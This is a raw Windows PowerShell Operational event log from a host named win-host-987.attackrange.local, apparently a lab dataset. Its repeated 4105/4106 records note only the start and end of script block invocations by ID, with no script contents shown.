Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029910
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029909
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029908
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029907
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029906
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029905
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029904
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029903
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029902
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029901
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029900
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029899
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029898
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029897
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029896
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029895
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029894
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029893
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029892
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029891
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029890
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029889
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029888
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029887
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029886
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029885
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029884
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029883
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029882
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029881
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029880
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029879
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029878
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029877
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029876
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029875
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029874
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029873
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029872
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029871
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029870
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029869
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029868
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029867
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029866
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029865
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029864
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029863
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029862
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029861
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029860
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029859
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029858
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
